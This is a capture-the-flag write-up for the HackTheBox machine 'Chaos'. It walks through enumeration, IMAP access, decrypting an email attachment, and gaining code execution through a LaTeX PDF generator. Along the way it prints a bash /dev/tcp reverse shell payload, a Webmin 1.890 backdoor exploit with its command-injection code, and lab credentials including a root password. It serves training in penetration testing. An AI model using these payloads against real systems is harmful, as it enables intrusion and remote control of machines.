Chaos Writeup

01 July 2023 #CTF #HTB #box #medium #linux

chaos info

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.10.120
[...]
PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
110/tcp   open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
|_pop3-capabilities: SASL RESP-CODES UIDL AUTH-RESP-CODE STLS TOP PIPELINING CAPA
|_ssl-date: TLS randomness does not represent time
143/tcp   open  imap     Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more listed have ID STARTTLS IMAP4rev1 LOGINDISABLEDA0001 LOGIN-REFERRALS OK IDLE LITERAL+ Pre-login post-login SASL-IR ENABLE capabilities
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: listed AUTH=PLAINA0001 ID more IMAP4rev1 have LOGIN-REFERRALS OK ENABLE LITERAL+ Pre-login post-login SASL-IR IDLE capabilities
995/tcp   open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) RESP-CODES UIDL AUTH-RESP-CODE USER TOP PIPELINING CAPA
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: EA9A0A98E2A16B0ADEA1F6ED448F4CEF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

We get a "Direct IP not allowed" message when accessing the webserver:

index

Let's do some directory bruteforcing to see if there are any other pages:

$ feroxbuster -u http://10.10.10.120/
[...]
301  GET    9l   28w  309c http://10.10.10.120/wp => http://10.10.10.120/wp/
[...]

There is another directory inside /wp/ which holds a Wordpress instance:

wordpress post

There is a password protected post, and if we click on the post title, we can see who made this post:

post author

After trying a few default credentials, we can view the post with "human" as the password (same as the username):

post content

IMAP

We can use these creds to login manually to the IMAP server. First, we need to base64 encode the creds in the format: <null byte>username<null byte>password:

$ printf '\x00ayush\x00jiujitsu' | base64
AGF5dXNoAGppdWppdHN1

We have to use the SSL port to successfully authenticate:

$ nc --ssl 10.10.10.120 993
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] Dovecot (Ubuntu) ready.
d AUTHENTICATE PLAIN AGF5dXNoAGppdWppdHN1
[...]

Note that we need to put a random character (in this case "d") before the command, it's a weird protocol...

Now we can list the available inboxes:

c list "" *
* LIST (\NoInferiors \UnMarked \Drafts) "/" Drafts
* LIST (\NoInferiors \UnMarked \Sent) "/" Sent
* LIST (\HasNoChildren) "/" INBOX
c OK List completed (0.002 + 0.000 + 0.001 secs).

The "Drafts" inbox is the one we are interested in (I just know it):

c select Drafts
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1540728611] UIDs valid
* OK [UIDNEXT 5] Predicted next UID
c OK [READ-WRITE] Select completed (0.003 + 0.000 + 0.002 secs).

We can see that there is 1 message in here, let's view it:

d fetch 1 RFC822
[...]
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush

--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: application/octet-stream;
 name=enim_msg.txt
Content-Disposition: attachment;
 filename=enim_msg.txt;
 size=272

MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9
RdPkJ3GSW57onvseOe5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M
7Y2mM6I+lH0zQb6Xt/JkhOZGWQzH4llEbyHvvlIjfu+MW5XrOI6QAeXGYTTinYSutsOhPilLnk1e
6Hq7AUnTxcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3LOQuRFkpE/LS10yge
+l6ON4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlyz5gIv12tAHf7kpZ6R08=
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: text/x-python; charset=us-ascii;
 name=en.py
Content-Disposition: attachment;
 filename=en.py;
 size=804

ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBv
dXRwdXRGaWxlID0gImVuIiArIGZpbGVuYW1lCiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdl
dHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCkucmVhZCgxNikK
CiAgICBlbmNyeXB0b3IgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXRo
IG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0
RmlsZSwgJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cml0ZShmaWxlc2l6
ZS5lbmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAg
ICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVu
a3NpemUpCgogICAgICAgICAgICAgICAgaWYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAg
ICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAxNiAhPSAwOgog
ICAgICAgICAgICAgICAgICAgIGNodW5rICs9IGInICcgKiAoMTYgLSAobGVuKGNodW5rKSAlIDE2
KSkKCiAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKGVuY3J5cHRvci5lbmNyeXB0KGNodW5r
KSkKCmRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICBoYXNoZXIgPSBTSEEyNTYubmV3
KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgcmV0dXJuIGhhc2hlci5kaWdl
c3QoKQoK

Foothold

Decrypt Message

The mail contains 2 attachments, an encrypted blob and a python script:

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV = Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

It's pretty obvious when reading the mail that the password is "sahay". Here is a quick python script to decrypt the message:

#!/usr/bin/env python3

from Cryptodome.Hash import SHA256
from Cryptodome.Cipher import AES

chunksize = 64 * 1024
key = SHA256.new("sahay".encode("utf-8")).digest()

with open("./msg.enc", "rb") as infile:
    size = infile.read(16)
    iv = infile.read(16)
    aes = AES.new(key, AES.MODE_CBC, iv)

    with open("./out", "wb") as outfile:
        while True:
            chunk = infile.read(chunksize)
            if len(chunk) == 0:
                break

            outfile.write(aes.decrypt(chunk))

msg.enc is the encrypted message (base64 decoded). We write the decrypted output to a file called out:

$ cat out
SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK

      
$ base64 -d out
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush

PDF Generator Exploit

The decrypted message reveals a hidden endpoint on the webserver:

PDF generator

When we intercept the request, we get a verbose output:

request

The interesting thing is to see \write18 enabled. As per this blog post, we can assume that pdflatex is run with the --shell-escape flag which enables us to run any command:

command execution

(echo added for clarity).

Reverse shell payload: \immediate\write18{bash -c 'bash -i >%26 /dev/tcp/10.10.14.22/443 0>%261'} (need to URL encode the & characters).

Privesc

www-data to Ayush

There are 2 local users:

www-data@chaos:/$ ls -Alh /home
total 8.0K
drwx------ 5 ayush ayush 4.0K Jul 12  2022 ayush
drwx------ 5 sahay sahay 4.0K Jul 12  2022 sahay

We can reuse the password found in the Wordpress post (for the webmail) to get access to Ayush's account:

www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -l ayush
Password:
ayush@chaos:~$ id
Command 'id' is available in '/usr/bin/id'
The command could not be located because '/usr/bin' is not included in the PATH environment variable.
id: command not found

That's weird, /usr/bin isn't in our PATH. Let's check it out:

ayush@chaos:~$ echo $PATH
/home/ayush/.app

Whatever, just export a new PATH and call it a day:

ayush@chaos:~$ export PATH=/usr/bin:/bin:/sbin:/usr/sbin
ayush@chaos:~$ id
uid=1001(ayush) gid=1001(ayush) groups=1001(ayush)

Decrypt Firefox Passwords

We have a Firefox profile in ~/home/ayush/.mozilla/firefox/bzo7sjt1.default and it has a logins.json:

ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ cat logins.json
{"nextId":3,"logins":[{"id":2,"hostname":"https://chaos.htb:10000","httpRealm":null,"formSubmitURL":"https://chaos.htb:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2}

There is a stored password, but it's encrypted.

We'll use firefox_decrypt. Since the python version on the box is quite old, we'll need an older version (0.7.0) of firefox_decrypt decrypt as well.

We need to specify a master password. Guest what? We can yet again reuse the same password (jiujitsu):

ayush@chaos:~$ python3 ff.py

Master Password for profile /home/ayush/.mozilla/firefox/bzo7sjt1.default:

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'

It didn't lie, it's actually the root password:

ayush@chaos:~$ su -l
Password:
root@chaos:~# id
uid=0(root) gid=0(root) groups=0(root)

Bonus: the easy way

It turns out Webmin 1.890 has a backdoor that allows an unauthenticated user to execute code as root (it was released after the box was out). Let's grab a PoC from github like this one:

$ python3 Webmin_exploit.py -host 10.10.10.120 -port 10000 -cmd id

╦ ╦┌─┐┌┐ ┌┬┐┬┌┐┌
║║║├┤ ├┴┐│││││││
╚╩╝└─┘└─┘┴ ┴┴┘└┘ 1.890 expired Remote Root

                        By: n0obit4
                        Github: https://github.com/n0obit4
----------------------------------------
Your password has expired, and a new one must be chosen.
uid=0(root) gid=0(root) groups=0(root)

The backdoor seems to be triggered when trying to change the password of the user "gotroot":

url = "https://{}:{}/password_change.cgi".format(args.host,args.port)
[...]
header = {'Referer': 'https://{}:{}/session_login.cgi'.format(host,port)}
payload = 'user=gotroot&pam=&expired=2|echo "";{}'.format(cmd)
request = requests.post(url, data=payload, headers=header, verify=False)

Pretty spooky.

Key Takeaways